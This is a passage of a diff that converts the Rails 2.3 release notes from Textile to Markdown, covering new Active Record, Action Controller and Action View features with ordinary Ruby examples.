`ActionController::Request` inherits from `Rack::Request`. +* Instead of `config.action_controller.session = { :session_key => 'foo', ...` use `config.action_controller.session = { :key => 'foo', ...`. +* Using the `ParamsParser` middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any `Rack::Request` object after it. -h4. Renewed Support for Rails Engines +### Renewed Support for Rails Engines -After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your +routes.rb+ file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins. +After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your `routes.rb` file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins. -h3. Documentation +Documentation +------------- -The "Ruby on Rails guides":http://guides.rubyonrails.org/ project has published several additional guides for Rails 2.3. In addition, a "separate site":http://edgeguides.rubyonrails.org/ maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the "Rails wiki":http://newwiki.rubyonrails.org/ and early planning for a Rails Book. +The [Ruby on Rails guides](http://guides.rubyonrails.org/) project has published several additional guides for Rails 2.3. In addition, a [separate site](http://edgeguides.rubyonrails.org/) maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the [Rails wiki](http://newwiki.rubyonrails.org/) and early planning for a Rails Book. -* More Information: "Rails Documentation Projects":http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects. +* More Information: [Rails Documentation Projects](http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects.) -h3. Ruby 1.9.1 Support +Ruby 1.9.1 Support +------------------ Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core. -h3. Active Record +Active Record +------------- Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing. -h4. Nested Attributes +### Nested Attributes Active Record can now update the attributes on nested models directly, provided you tell it to do so: -<ruby> +```ruby class Book < ActiveRecord::Base has_one :author has_many :pages accepts_nested_attributes_for :author, :pages end -</ruby> +``` Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later). -You can also specify requirements for any new records that are added via nested attributes using the +:reject_if+ option: +You can also specify requirements for any new records that are added via nested attributes using the `:reject_if` option: -<ruby> +```ruby accepts_nested_attributes_for :author, :reject_if => proc { |attributes| attributes['name'].blank? } -</ruby> +``` -* Lead Contributor: "Eloy Duran":http://superalloy.nl/ -* More Information: "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms +* Lead Contributor: [Eloy Duran](http://superalloy.nl/) +* More Information: [Nested Model Forms](http://weblog.rubyonrails.org/2009/1/26/nested-model-forms) -h4. Nested Transactions +### Nested Transactions Active Record now supports nested transactions, a much-requested feature. Now you can write code like this: -<ruby> +```ruby User.transaction do - User.create(:username => 'Admin') - User.transaction(:requires_new => true) do - User.create(:username => 'Regular') - raise ActiveRecord::Rollback - end + User.create(:username => 'Admin') + User.transaction(:requires_new => true) do + User.create(:username => 'Regular') + raise ActiveRecord::Rollback end +end - User.find(:all) # => Returns only Admin -</ruby> +User.find(:all) # => Returns only Admin +``` -Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the +:requires_new+ option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are "using savepoints":http://rails.lighthouseapp.com/projects/8994/tickets/383, so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing. +Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the `:requires_new` option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are [using savepoints](http://rails.lighthouseapp.com/projects/8994/tickets/383,) so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing. -* Lead Contributors: "Jonathan Viney":http://www.workingwithrails.com/person/4985-jonathan-viney and "Hongli Lai":http://izumi.plan99.net/blog/ +* Lead Contributors: [Jonathan Viney](http://www.workingwithrails.com/person/4985-jonathan-viney) and [Hongli Lai](http://izumi.plan99.net/blog/) -h4. Dynamic Scopes +### Dynamic Scopes -You know about dynamic finders in Rails (which allow you to concoct methods like +find_by_color_and_flavor+ on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like +currently_active+). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly _and_ method chaining. For example: +You know about dynamic finders in Rails (which allow you to concoct methods like `find_by_color_and_flavor` on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like `currently_active`). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly _and_ method chaining. For example: -<ruby> +```ruby Order.scoped_by_customer_id(12) Order.scoped_by_customer_id(12).find(:all, :conditions => "status = 'open'") Order.scoped_by_customer_id(12).scoped_by_status("open") -</ruby> +``` There's nothing to define to use dynamic scopes: they just work. -* Lead Contributor: "Yaroslav Markin":http://evilmartians.com/ -* More Information: "What's New in Edge Rails: Dynamic Scope Methods":http://ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods. +* Lead Contributor: [Yaroslav Markin](http://evilmartians.com/) +* More Information: [What's New in Edge Rails: Dynamic Scope Methods](http://ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods.) -h4. Default Scopes +### Default Scopes -Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write +default_scope :order => 'name ASC'+ and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course). +Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write `default_scope :order => 'name ASC'` and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course). * Lead Contributor: Paweł Kondzior -* More Information: "What's New in Edge Rails: Default Scoping":http://ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping +* More Information: [What's New in Edge Rails: Default Scoping](http://ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping) -h4. Batch Processing +### Batch Processing -You can now process large numbers of records from an ActiveRecord model with less pressure on memory by using +find_in_batches+: +You can now process large numbers of records from an ActiveRecord model with less pressure on memory by using `find_in_batches`: -<ruby> +```ruby Customer.find_in_batches(:conditions => {:active => true}) do |customer_group| customer_group.each { |customer| customer.update_account_balance! } end -</ruby> +``` -You can pass most of the +find+ options into +find_in_batches+. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the +:limit+ option. Instead, use the +:batch_size+ option, which defaults to 1000, to set the number of records that will be returned in each batch. +You can pass most of the `find` options into `find_in_batches`. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the `:limit` option. Instead, use the `:batch_size` option, which defaults to 1000, to set the number of records that will be returned in each batch. -The new +find_each+ method provides a wrapper around +find_in_batches+ that returns individual records, with the find itself being done in batches (of 1000 by default): +The new `find_each` method provides a wrapper around `find_in_batches` that returns individual records, with the find itself being done in batches (of 1000 by default): -<ruby> +```ruby Customer.find_each do |customer| customer.update_account_balance! end -</ruby> +``` Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop. -* More Information (at that point the convenience method was called just +each+): -** "Rails 2.3: Batch Finding":http://afreshcup.com/2009/02/23/rails-23-batch-finding/ -** "What's New in Edge Rails: Batched Find":http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find +* More Information (at that point the convenience method was called just `each`): + * [Rails 2.3: Batch Finding](http://afreshcup.com/2009/02/23/rails-23-batch-finding/) + * [What's New in Edge Rails: Batched Find](http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find) -h4. Multiple Conditions for Callbacks +### Multiple Conditions for Callbacks -When using Active Record callbacks, you can now combine +:if+ and +:unless+ options on the same callback, and supply multiple conditions as an array: +When using Active Record callbacks, you can now combine `:if` and `:unless` options on the same callback, and supply multiple conditions as an array: -<ruby> +```ruby before_save :update_credit_rating, :if => :active, :unless => [:admin, :cash_only] -</ruby> +``` * Lead Contributor: L. Caviola -h4. Find with having +### Find with having -Rails now has a +:having+ option on find (as well as on +has_many+ and +has_and_belongs_to_many+ associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results: +Rails now has a `:having` option on find (as well as on `has_many` and `has_and_belongs_to_many` associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results: -<ruby> +```ruby developers = Developer.find(:all, :group => "salary", :having => "sum(salary) > 10000", :select => "salary") -</ruby> +``` -* Lead Contributor: "Emilio Tagua":http://github.com/miloops +* Lead Contributor: [Emilio Tagua](http://github.com/miloops) -h4. Reconnecting MySQL Connections +### Reconnecting MySQL Connections -MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set +reconnect = true+ for your MySQL connections in +database.yml+ to get this behavior from a Rails application. The default is +false+, so the behavior of existing applications doesn't change. +MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set `reconnect = true` for your MySQL connections in `database.yml` to get this behavior from a Rails application. The default is `false`, so the behavior of existing applications doesn't change. -* Lead Contributor: "Dov Murik":http://twitter.com/dubek +* Lead Contributor: [Dov Murik](http://twitter.com/dubek) * More information: -** "Controlling Automatic Reconnection Behavior":http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html -** "MySQL auto-reconnect revisited":http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4 - -h4. Other Active Record Changes - -* An extra +AS+ was removed from the generated SQL for +has_and_belongs_to_many+ preloading, making it work better for some databases. -* +ActiveRecord::Base#new_record?+ now returns +false+ rather than +nil+ when confronted with an existing record. -* A bug in quoting table names in some +has_many :through+ associations was fixed. -* You can now specify a particular timestamp for +updated_at+ timestamps: +cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)+ -* Better error messages on failed +find_by_attribute!+ calls. -* Active Record's +to_xml+ support gets just a little bit more flexible with the addition of a +:camelize+ option. -* A bug in canceling callbacks from +before_update+ or +before_create+ was fixed. + * [Controlling Automatic Reconnection Behavior](http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html) + * [MySQL auto-reconnect revisited](http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4) + +### Other Active Record Changes + +* An extra `AS` was removed from the generated SQL for `has_and_belongs_to_many` preloading, making it work better for some databases. +* `ActiveRecord::Base#new_record?` now returns `false` rather than `nil` when confronted with an existing record. +* A bug in quoting table names in some `has_many :through` associations was fixed. +* You can now specify a particular timestamp for `updated_at` timestamps: `cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)` +* Better error messages on failed `find_by_attribute!` calls. +* Active Record's `to_xml` support gets just a little bit more flexible with the addition of a `:camelize` option. +* A bug in canceling callbacks from `before_update` or `before_create` was fixed. * Rake tasks for testing databases via JDBC have been added. -* +validates_length_of+ will use a custom error message with the +:in+ or +:within+ options (if one is supplied). -* Counts on scoped selects now work properly, so you can do things like +Account.scoped(:select => "DISTINCT credit_limit").count+. -* +ActiveRecord::Base#invalid?+ now works as the opposite of +ActiveRecord::Base#valid?+. +* `validates_length_of` will use a custom error message with the `:in` or `:within` options (if one is supplied). +* Counts on scoped selects now work properly, so you can do things like `Account.scoped(:select => "DISTINCT credit_limit").count`. +* `ActiveRecord::Base#invalid?` now works as the opposite of `ActiveRecord::Base#valid?`. -h3. Action Controller +Action Controller +----------------- Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release. -h4. Unified Rendering +### Unified Rendering -+ActionController::Base#render+ is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render: +`ActionController::Base#render` is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render: -<ruby> +```ruby render :file => '/tmp/random_file.erb' render :template => 'other_controller/action' render :action => 'show' -</ruby> +``` Now in Rails 2.3, you can just supply what you want to render: -<ruby> +```ruby render '/tmp/random_file.erb' render 'other_controller/action' render 'show' render :show -</ruby> -Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (+:inline+, +:text+, +:update+, +:nothing+, +:json+, +:xml+, +:js+) still require an explicit option. +``` +Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (`:inline`, `:text`, `:update`, `:nothing`, `:json`, `:xml`, `:js`) still require an explicit option. -h4. Application Controller Renamed +### Application Controller Renamed -If you're one of the people who has always been bothered by the special-case naming of +application.rb+, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, +rake rails:update:application_controller+ to do this automatically for you - and it will be run as part of the normal +rake rails:update+ process. +If you're one of the people who has always been bothered by the special-case naming of `application.rb`, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, `rake rails:update:application_controller` to do this automatically for you - and it will be run as part of the normal `rake rails:update` process. * More Information: -** "The Death of Application.rb":http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/ -** "What's New in Edge Rails: Application.rb Duality is no More":http://ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more + * [The Death of Application.rb](http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/) + * [What's New in Edge Rails: Application.rb Duality is no More](http://ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more) -h4. HTTP Digest Authentication Support +### HTTP Digest Authentication Support -Rails now has built-in support for HTTP digest authentication. To use it, you call +authenticate_or_request_with_http_digest+ with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials): +Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials): -<ruby> +```ruby class PostsController < ApplicationController Users = {"dhh" => "secret"} before_filter :authenticate @@ -250,91 +256,92 @@ class PostsController < ApplicationController end end end -</ruby> +``` -* Lead Contributor: "Gregg Kellogg":http://www.kellogg-assoc.com/ -* More Information: "What's New in Edge Rails: HTTP Digest Authentication":http://ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication +* Lead Contributor: [Gregg Kellogg](http://www.kellogg-assoc.com/) +* More Information: [What's New in Edge Rails: HTTP Digest Authentication](http://ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication) -h4. More Efficient Routing +### More Efficient Routing -There are a couple of significant routing changes in Rails 2.3. The +formatted_+ route helpers are gone, in favor just passing in +:format+ as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the +formatted_+ helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just +routes.rb+. You can use +RouteSet#add_configuration_file+ to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches. +There are a couple of significant routing changes in Rails 2.3. The `formatted_` route helpers are gone, in favor just passing in `:format` as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the `formatted_` helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just `routes.rb`. You can use `RouteSet#add_configuration_file` to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches. -* Lead Contributors: "Aaron Batalion":http://blog.hungrymachine.com/ +* Lead Contributors: [Aaron Batalion](http://blog.hungrymachine.com/) -h4. Rack-based Lazy-loaded Sessions +### Rack-based Lazy-loaded Sessions A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load. -h4. MIME Type Handling Changes +### MIME Type Handling Changes -There are a couple of changes to the code for handling MIME types in Rails. First, +MIME::Type+ now implements the +=~+ operator, making things much cleaner when you need to check for the presence of a type that has synonyms: +There are a couple of changes to the code for handling MIME types in Rails. First, `MIME::Type` now implements the `=~` operator, making things much cleaner when you need to check for the presence of a type that has synonyms: -<ruby> +```ruby if content_type && Mime::JS =~ content_type # do something cool end Mime::JS =~ "text/javascript" => true Mime::JS =~ "application/javascript" => true -</ruby> +``` -The other change is that the framework now uses the +Mime::JS+ when checking for JavaScript in various spots, making it handle those alternatives cleanly. +The other change is that the framework now uses the `Mime::JS` when checking for JavaScript in various spots, making it handle those alternatives cleanly. -* Lead Contributor: "Seth Fitzsimmons":http://www.workingwithrails.com/person/5510-seth-fitzsimmons +* Lead Contributor: [Seth Fitzsimmons](http://www.workingwithrails.com/person/5510-seth-fitzsimmons) -h4. Optimization of +respond_to+ +### Optimization of `respond_to` -In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the +respond_to+ method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to +method_missing+ and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple +respond_to+ that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup. +In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the `respond_to` method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to `method_missing` and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple `respond_to` that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup. -h4. Improved Caching Performance +### Improved Caching Performance -Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to +MemCacheStore+, it is available to any remote store than implements the required methods. +Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to `MemCacheStore`, it is available to any remote store than implements the required methods. -* Lead Contributor: "Nahum Wild":http://www.motionstandingstill.com/ +* Lead Contributor: [Nahum Wild](http://www.motionstandingstill.com/) -h4. Localized Views +### Localized Views -Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a +Posts+ controller with a +show+ action. By default, this will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :da+, it will render +app/views/posts/show.da.html.erb+. If the localized template isn't present, the undecorated version will be used. Rails also includes +I18n#available_locales+ and +I18n::SimpleBackend#available_locales+, which return an array of the translations that are available in the current Rails project. +Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a `Posts` controller with a `show` action. By default, this will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :da`, it will render `app/views/posts/show.da.html.erb`. If the localized template isn't present, the undecorated version will be used. Rails also includes `I18n#available_locales` and `I18n::SimpleBackend#available_locales`, which return an array of the translations that are available in the current Rails project. -In addition, you can use the same scheme to localize the rescue files in the +public+ directory: +public/500.da.html+ or +public/404.en.html+ work, for example. +In addition, you can use the same scheme to localize the rescue files in the `public` directory: `public/500.da.html` or `public/404.en.html` work, for example. -h4. Partial Scoping for Translations +### Partial Scoping for Translations -A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call +translate(".foo")+ from the +people/index.html.erb+ template, you'll actually be calling +I18n.translate("people.index.foo")+ If you don't prepend the key with a period, then the API doesn't scope, just as before. +A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call `translate(".foo")` from the `people/index.html.erb` template, you'll actually be calling `I18n.translate("people.index.foo")` If you don't prepend the key with a period, then the API doesn't scope, just as before. -h4. Other Action Controller Changes +### Other Action Controller Changes -* ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with +send_file+. -* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set +ActionController::Base.ip_spoofing_check = false+ to disable the check entirely. -* +ActionController::Dispatcher+ now implements its own middleware stack, which you can see by running +rake middleware+. +* ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with `send_file`. +* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set `ActionController::Base.ip_spoofing_check = false` to disable the check entirely. +* `ActionController::Dispatcher` now implements its own middleware stack, which you can see by running `rake middleware`. * Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores. -* You can now use symbols for the +:type+ option of +send_file+ and +send_data+, like this: +send_file("fabulous.png", :type => :png)+. -* The +:only+ and +:except+ options for +map.resources+ are no longer inherited by nested resources. +* You can now use symbols for the `:type` option of `send_file` and `send_data`, like this: `send_file("fabulous.png", :type => :png)`. +* The `:only` and `:except` options for `map.resources` are no longer inherited by nested resources. * The bundled memcached client has been updated to version 1.6.4.99. -* The +expires_in+, +stale?+, and +fresh_when+ methods now accept a +:public+ option to make them work well with proxy caching. -* The +:requirements+ option now works properly with additional RESTful member routes. +* The `expires_in`, `stale?`, and `fresh_when` methods now accept a `:public` option to make them work well with proxy caching. +* The `:requirements` option now works properly with additional RESTful member routes. * Shallow routes now properly respect namespaces. -* +polymorphic_url+ does a better job of handling objects with irregular plural names. +* `polymorphic_url` does a better job of handling objects with irregular plural names. -h3. Action View +Action View +----------- -Action View in Rails 2.3 picks up nested model forms, improvements to +render+, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things. +Action View in Rails 2.3 picks up nested model forms, improvements to `render`, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things. -h4. Nested Object Forms +### Nested Object Forms -Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using +form_for+ and +field_for+. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model: +Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using `form_for` and `field_for`. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model: -<ruby> +```ruby class Customer < ActiveRecord::Base has_many :orders accepts_nested_attributes_for :orders, :allow_destroy => true end -</ruby> +``` You can write this view in Rails 2.3: -<erb> +```html+erb <% form_for @customer do |customer_form| %> <div> <%= customer_form.label :name, 'Customer Name:' %> @@ -363,19 +370,19 @@ You can write this view in Rails 2.3: <%= customer_form.submit %> <% end %> -</erb> +``` -* Lead Contributor: "Eloy Duran":http://superalloy.nl/ +* Lead Contributor: [Eloy Duran](http://superalloy.nl/) * More Information: -** "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms -** "complex-form-examples":http://github.com/alloy/complex-form-examples -** "What's New in Edge Rails: Nested Object Forms":http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes + * [Nested Model Forms](http://weblog.rubyonrails.org/2009/1/26/nested-model-forms) + * [complex-form-examples](http://github.com/alloy/complex-form-examples) + * [What's New in Edge Rails: Nested Object Forms](http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes) -h4. Smart Rendering of Partials +### Smart Rendering of Partials The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming): -<ruby> +```ruby # Equivalent of render :partial => 'articles/_article', # :object => @article render @article @@ -383,15 +390,15 @@ render @article # Equivalent of render :partial => 'articles/_article', # :collection => @articles render @articles -</ruby> +``` -* More Information: "What's New in Edge Rails: render Stops Being High-Maintenance":http://ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance +* More Information: [What's New in Edge Rails: render Stops Being High-Maintenance](http://ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance) -h4. Prompts for Date Select Helpers +### Prompts for Date Select Helpers -In Rails 2.3, you can supply custom prompts for the various date select helpers (+date_select+, +time_select+, and +datetime_select+), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set +:prompt+ to +true+ to use the custom generic prompt: +In Rails 2.3, you can supply custom prompts for the various date select helpers (`date_select`, `time_select`, and `datetime_select`), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set `:prompt` to `true` to use the custom generic prompt: -<ruby> +```ruby select_datetime(DateTime.now, :prompt => true) select_datetime(DateTime.now, :prompt => "Choose date and time") @@ -400,211 +407,215 @@ select_datetime(DateTime.now, :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year', :hour => 'Choose hour', :minute => 'Choose minute'}) -</ruby> +``` -* Lead Contributor: "Sam Oliver":http://samoliver.com/ +* Lead Contributor: [Sam Oliver](http://samoliver.com/) -h4. AssetTag Timestamp Caching +### AssetTag Timestamp Caching -You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the +cache_asset_timestamps+ configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients. +You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the `cache_asset_timestamps` configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients. -h4. Asset Hosts as Objects +### Asset Hosts as Objects Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to implement any complex logic you need in your asset hosting. -* More Information: "asset-hosting-with-minimum-ssl":http://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master +* More Information: [asset-hosting-with-minimum-ssl](http://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master) -h4. grouped_options_for_select Helper Method +### grouped_options_for_select Helper Method -Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: +grouped_options_for_select+. This one accepts an array or hash of strings, and converts them into a string of +option+ tags wrapped with +optgroup+ tags. For example: +Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: `grouped_options_for_select`. This one accepts an array or hash of strings, and converts them into a string of `option` tags wrapped with `optgroup` tags. For example: -<ruby> +```ruby grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", "Choose a product...") -</ruby> +``` returns -<ruby> +```ruby <option value="">Choose a product...</option> <optgroup label="Hats"> <option value="Baseball Cap">Baseball Cap</option> <option selected="selected" value="Cowboy Hat">Cowboy Hat</option> </optgroup> -</ruby> +``` -h4. Disabled Option Tags for Form Select Helpers +### Disabled Option Tags for Form Select Helpers -The form select helpers (such as +select+ and +options_for_select+) now support a +:disabled+ option, which can take a single value or an array of values to be disabled in the resulting tags: +The form select helpers (such as `select` and `options_for_select`) now support a `:disabled` option, which can take a single value or an array of values to be disabled in the resulting tags: -<ruby> -select(:post, :category, Post::CATEGORIES, :disabled => ‘private‘) -</ruby> +```ruby +select(:post, :category, Post::CATEGORIES, :disabled => 'private') +``` returns -<ruby> +```html <select name=“post[category]“> <option>story</option> <option>joke</option> <option>poem</option> <option disabled=“disabled“>private</option> </select> -</ruby> +``` You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled: -<ruby> +```ruby options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?}) -</ruby> +``` -* Lead Contributor: "Tekin Suleyman":http://tekin.co.uk/ -* More Information: "New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections":http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/ +* Lead Contributor: [Tekin Suleyman](http://tekin.co.uk/) +* More Information: [New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections](http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/) -h4. A Note About Template Loading +### A Note About Template Loading Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server. -In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your +production.rb+ file: +In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your `production.rb` file: -<ruby> +```ruby config.action_view.cache_template_loading = true -</ruby> +``` This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production 